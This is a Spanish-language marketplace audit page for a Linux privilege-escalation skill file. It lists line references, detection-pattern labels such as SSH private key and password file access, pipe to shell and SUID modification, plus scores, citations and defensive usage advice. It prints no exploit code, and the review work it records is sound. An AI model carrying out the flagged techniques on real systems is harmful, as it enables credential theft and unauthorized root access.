SKILL.md:151 SKILL.md:181 SKILL.md:203 SKILL.md:184 SKILL.md:151 SKILL.md:17-35 SKILL.md:35-50 SKILL.md:50 SKILL.md:55-56 SKILL.md:56-57 SKILL.md:57-60 SKILL.md:60-61 SKILL.md:61-62 SKILL.md:62-63 SKILL.md:63-64 SKILL.md:64-76 SKILL.md:76-106 SKILL.md:106-112 SKILL.md:112-127 SKILL.md:127-131 SKILL.md:131-133 SKILL.md:133-139 SKILL.md:139-158 SKILL.md:158-162 SKILL.md:162-190 SKILL.md:190-194 SKILL.md:194-207 SKILL.md:207-211 SKILL.md:211-223 SKILL.md:223-227 SKILL.md:227-242 SKILL.md:242-246 SKILL.md:246-259 SKILL.md:259-263 SKILL.md:263-281 SKILL.md:281-285 SKILL.md:285-299 SKILL.md:299-303 SKILL.md:303-320 SKILL.md:320-324 SKILL.md:324-337 SKILL.md:337-352 SKILL.md:352-369 SKILL.md:369-375 SKILL.md:375-383 SKILL.md:383-389 SKILL.md:389-397 SKILL.md:397-401 SKILL.md:401-405 SKILL.md:405-409
🌐 Acceso a red (5)
📁 Acceso al sistema de archivos (33)
SKILL.md:310 SKILL.md:287 SKILL.md:310 SKILL.md:311 SKILL.md:380 SKILL.md:381 SKILL.md:382 SKILL.md:288 SKILL.md:61 SKILL.md:62 SKILL.md:85 SKILL.md:88 SKILL.md:105 SKILL.md:164 SKILL.md:196 SKILL.md:248 SKILL.md:291 SKILL.md:305 SKILL.md:306 SKILL.md:307 SKILL.md:311 SKILL.md:314 SKILL.md:315 SKILL.md:395 SKILL.md:396 SKILL.md:462 SKILL.md:468 SKILL.md:441 SKILL.md:442 SKILL.md:330 SKILL.md:331 SKILL.md:333 SKILL.md:334
Patrones detectados
SSH directory access×2SSH private key fileMalware type keywordsSystem password file access×6SUID bit modification×4UID/GID manipulation×8Pipe to shell patternDocker socket accessSystem reconnaissance×8
Auditado por: codex Ver historial de auditorías →
Compartir y citar este informe
Comparte el informe de evaluación versionado, la insignia neutral, la tarjeta insertable y las citas. Skillstore presenta evidencias sin decidir si este Skill es seguro.
Copiar enlace del informe
https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportInsignia Markdown
[](https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge?utm_source=security_passport_badge)Insignia HTML
<a href="https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/charleskozel-privilege-escalation-knowledge/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Tarjeta para insertar
<iframe src="https://skillstore.io/embed/skills/charleskozel-privilege-escalation-knowledge.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citas académicas (APA · BibTeX · CFF)
Cita APA
CharlesKozel. (2026). privilege-escalation-knowledge security audit report (audit version 10) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10Cita BibTeX
@techreport{charleskozel-charleskozel-privilege-escalation-knowledge-2026,
author = {CharlesKozel},
title = {privilege-escalation-knowledge security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-knowledge security audit report (audit version 10)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10"
identifiers:
- type: other
value: "skillstore:charleskozel-privilege-escalation-knowledge:audit:10"
description: "Skillstore immutable audit report identifier"
Puntuación de Skillstore
Por qué esta puntuación Confianza de la evidencia: Medio 55
Arquitectura
85
Mantenibilidad
87
Contenido
70
Comunidad
78
Cumplimiento de la especificación
Lo que puedes crear
Preparar una lista de comprobación de laboratorio
Los aprendices de seguridad pueden estructurar trabajos autorizados de escalada de privilegios en CTF o laboratorios.
Revisar brechas de hardening
Los propietarios de sistemas pueden comparar hallazgos con configuraciones incorrectas comunes y priorizar correcciones.
Evaluar el riesgo del Marketplace
Los revisores pueden identificar por qué la habilidad necesita controles estrictos de publicación e instalación.
Prueba estos prompts
Resumir el alcance de la revisión
En un laboratorio Linux autorizado, resume las etapas de revisión de escalada de privilegios que cubre esta habilidad. No incluyas comandos de explotación.
Crear una lista de comprobación defensiva
Convierte la guía de la habilidad en una lista de comprobación defensiva para sudo, SUID, capabilities, cron, servicios, contenedores y archivos sensibles.
Priorizar evidencia de auditoría
Dadas estas notas de auditoría autorizada: [paste notes], asigna cada elemento a áreas de riesgo probables y prioridades de remediación seguras.
Redactar informe posterior de laboratorio
Para un laboratorio autorizado completado, resume la ruta de escalada, los controles fallidos y los pasos de remediación sin detalles operativos de explotación.
Mejores prácticas
- Usar solo en sistemas donde la autorización y el alcance estén documentados.
- Preferir resúmenes defensivos y planes de remediación en lugar de instrucciones ejecutables.
- Tratar flags, credenciales, claves y registros como datos sensibles.
Evitar
- No ejecutar comandos de escalada de privilegios en sistemas fuera del alcance.
- No conservar acceso, agregar claves ni modificar cuentas sin aprobación por escrito.
- No publicar pasos de explotación sin procesar en documentación general orientada a usuarios.
Preguntas frecuentes
¿Esta habilidad es segura para sistemas de producción?
No. Contiene comandos y flujos de trabajo que pueden alterar o comprometer sistemas Linux.
¿Quién debería usar esta habilidad?
El uso debe limitarse a laboratorios de seguridad autorizados, evaluaciones controladas y equipos de revisión defensiva.
¿Ejecuta comandos por sí misma?
No. Es un archivo de conocimiento, pero un agente podría seguir sus instrucciones operativas.
¿Pueden los defensores usar el material de forma segura?
Sí, si lo convierten en comprobaciones de hardening y evitan ejecutar pasos de explotación.
¿Por qué el riesgo de publicación es alto?
El archivo incluye escalada a root, acceso a archivos sensibles, persistencia y flujos de trabajo de captura de flags.
¿Qué debería eliminarse antes de una distribución amplia?
Eliminar pasos de explotación ejecutables, instrucciones de persistencia, comandos de descubrimiento de secretos y ejemplos de pipe-to-shell.
Detalles del desarrollador
Autor
CharlesKozelLicencia
MIT
Revisión de Skillstore
r1
Aviso de versión
El autor no declaró una versión.
Repositorio
https://github.com/CharlesKozel/Pentest-Agent-Evalulator/tree/main/agents/claude-tbug/skills/privescRef.
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Actualidad del mantenimiento
22/7/2026
Uso
6 descargas · 167 vistas
Estructura de archivos
📄 SKILL.md